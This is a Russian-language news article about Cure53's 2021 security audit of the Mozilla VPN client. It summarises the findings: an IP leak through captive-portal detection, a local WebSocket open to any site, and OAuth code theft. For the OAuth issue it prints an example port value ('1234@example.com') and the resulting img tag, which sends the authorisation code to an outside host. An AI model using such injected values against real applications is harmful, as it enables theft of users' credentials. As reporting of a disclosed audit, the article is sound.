Опубликованы результаты аудита VPN-клиента Mozilla
3 сентября 2021 года
Компания Mozilla объявила о завершении независимого аудита клиентского ПО для подключения к сервису Mozilla VPN. В ходе аудита был выполнен анализ обособленного клиентского приложения, написанного с использованием библиотеки Qt и поставляемого для Linux, macOS, Windows, Android и iOS. Работу Mozilla VPN обеспечивает более 400 серверов шведского VPN-провайдера Mullvad, размещённых в более чем 30 странах. Подключение к VPN-сервису производится при помощи протокола WireGuard.
Аудит выполнен компанией Cure53, в своё время проводившей аудит проектов NTPsec, SecureDrop, Cryptocat, F-Droid и Dovecot. Аудит затрагивал проверку исходных текстов и включал проведение тестов для выявления возможных уязвимостей (вопросы, связанные с криптографией не рассматривались). В ходе проверки выявлено 16 проблем с безопасностью, 8 из которых имели характер рекомендаций, 5 присвоен низкий уровень опасности, двум — средний, а одной — высокий.
При этом лишь одна проблема со средним уровнем опасности была отнесена к категории уязвимостей, так как только она была пригодна для эксплуатации. Указанная проблема приводила к утечке сведений о применений VPN в коде для определения captive portal из-за отправки незашифрованных прямых запросов по HTTP, передаваемых вне VPN-туннеля и раскрывающих основной IP-адрес пользователя в случае если атакующий может контролировать транзитный трафик. Проблема решается отключением режима определения captive portal в настройках.
Вторая проблема среднего уровня опасности связана с отсутствием должной чистки нечисловых значений в номере порта, что позволяет организовать утечку параметров аудентификации OAuth через подмену номера порта на строку вида «1234@example.com», что приведёт к установке тега <img src="http://127.0.0.1:1234@example.com/?code=...« alt="">, обращающегося к example.com вместо 127.0.0.1.
Третья проблема, помеченная как опасная, позволяет любому локальному приложению без аутентификации обратиться к VPN-клиенту через WebSocket, привязанный к localhost. В качестве примера показано, как при активном VPN-клиенте любой сайт мог организовать создание и отправку скриншота через генерацию события screen_capture. Проблема не отнесена к категории уязвимостей, так как WebSocket использовался только во внутренних тестовых сборках и применение данного канала связи лишь планировалось в будущем для организации взаимодействия с браузерным дополнением.
Источники
правитьКомментарии
Если вы хотите сообщить о проблеме в статье (например, фактическая ошибка и т. д.), пожалуйста, используйте обычную страницу обсуждения.
Комментарии на этой странице могут не соответствовать политике нейтральной точки зрения, однако, пожалуйста, придерживайтесь темы и попытайтесь избежать брани, оскорбительных или подстрекательных комментариев. Попробуйте написать такие комментарии, которые заставят задуматься, будут проницательными или спорными. Цивилизованная дискуссия и вежливый спор делают страницу комментариев дружелюбным местом. Пожалуйста, подумайте об этом.
Несколько советов по оформлению реплик:
- Новые темы начинайте, пожалуйста, снизу.
- Используйте символ звёздочки «*» в начале строки для начала новой темы. Далее пишите свой текст.
- Для ответа в начале строки укажите на одну звёздочку больше, чем в предыдущей реплике.
- Пожалуйста, подписывайте все свои сообщения, используя четыре тильды (~~~~). При предварительном просмотре и сохранении они будут автоматически заменены на ваше имя и дату.
Обращаем ваше внимание, что комментарии не предназначены для размещения ссылок на внешние ресурсы не по теме статьи, которые могут быть удалены или скрыты любым участником. Тем не менее, на странице комментариев вы можете сообщить о статьях в СМИ, которые ссылаются на эту заметку, а также о её обсуждении на сторонних ресурсах.